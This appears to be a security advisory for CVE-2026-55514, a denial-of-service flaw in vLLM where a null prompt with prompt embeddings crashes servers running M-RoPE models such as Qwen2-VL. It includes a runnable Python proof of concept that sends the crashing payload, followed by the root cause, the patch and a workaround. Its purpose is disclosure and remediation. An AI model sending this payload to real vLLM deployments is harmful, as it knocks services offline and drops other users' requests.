highCVE-2026-55514Jul 20, 2026

CVE-2026-55514: vLLM Denial of Service via Prompt Embeds on M-RoPE Models

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Sending a pre-computed embedding payload to vLLM's completions endpoint crashes the entire server when an M-RoPE model is loaded, because a type-narrowing assertion always fails for embedding-only inp

Packagevllm
Ecosystempip
Affected>= 0.12.0, < 0.24.0
Fixed in0.24.0

The problem

vLLM's `GPUModelRunner._init_mrope_positions` method contains a bare `assert req_state.prompt_token_ids is not None` added in commit 56669c1 to satisfy the type checker. This assertion is reachable by any authorized API caller.

A `/v1/completions` request that sets `prompt=null` and supplies `prompt_embeds` legally creates a `CachedRequestState` where `prompt_token_ids` is `None`. When an M-RoPE model (Qwen2-VL, Qwen3-VL, and similar) processes that state, the assertion fires, the EngineCore subprocess dies with `AssertionError`, and the API server follows with `EngineDeadError`.

The process does not recover. Every in-flight request is dropped and the server must be restarted manually.

Proof of concept

A working proof-of-concept for CVE-2026-55514 in vllm, with the exact payload below.

python
import base64
import io
import requests
import torch
import transformers

# Requires: vllm serve <mrope-model> --enable-prompt-embeds
# e.g. vllm serve Qwen/Qwen2-VL-7B-Instruct --enable-prompt-embeds

MODEL = "Qwen/Qwen2-VL-7B-Instruct"
HIDDEN_SIZE = 3584  # Qwen2-VL-7B hidden dim; adjust per model
SEQ_LEN = 8        # any non-zero length works

# Build a minimal random float16 tensor of shape (SEQ_LEN, HIDDEN_SIZE)
fake_embeds = torch.zeros(SEQ_LEN, HIDDEN_SIZE, dtype=torch.float16)

# Serialize with torch.save (required format for vLLM prompt_embeds)
buf = io.BytesIO()
torch.save(fake_embeds, buf)
buf.seek(0)
encoded = base64.b64encode(buf.read()).decode()

# Send to a running vLLM server with an M-RoPE model
resp = requests.post(
    "http://localhost:8000/v1/completions",
    json={
        "model": MODEL,
        "prompt": None,          # <-- key: no token ids
        "prompt_embeds": encoded, # <-- triggers the assertion
        "max_tokens": 1,
    },
)
print(resp.status_code, resp.text)
# Server EngineCore crashes; subsequent requests return 500 EngineDeadError

The root cause is CWE-617 (Reachable Assertion). The offending line `assert req_state.prompt_token_ids is not None` was intended only to narrow types for the mypy checker, not as a runtime guard. It assumes token IDs are always present, but the `/v1/completions` schema permits `prompt=null` with `prompt_embeds` set, which produces a valid `CachedRequestState` where `prompt_token_ids` is `None`.

The patch (commit 470229c, PR #45252) removes the fatal assert and replaces it with a conditional branch: if `prompt_token_ids` is present, use it; if only `prompt_embeds` is present, derive a synthetic list of dummy integer token IDs whose length matches the embedding sequence length.

Because `get_mrope_input_positions` only needs `len(input_tokens)` when no multimodal features are present (the pure text-embed case), the dummy IDs are functionally correct and safe.

The fix

Upgrade to vllm >= 0.24.0. The fix is in commit 470229c37efaf69c86e8bc97482b0b1ff7551c65 (PR #45252). If you cannot upgrade immediately, avoid deploying M-RoPE models (Qwen2-VL, Qwen3-VL, etc.) with the `--enable-prompt-embeds` flag enabled at the same time, as that combination is the only path to this crash in online serving.

Reported by jperezdealgaba.

References: [1][2][3][4][5][6]

Related research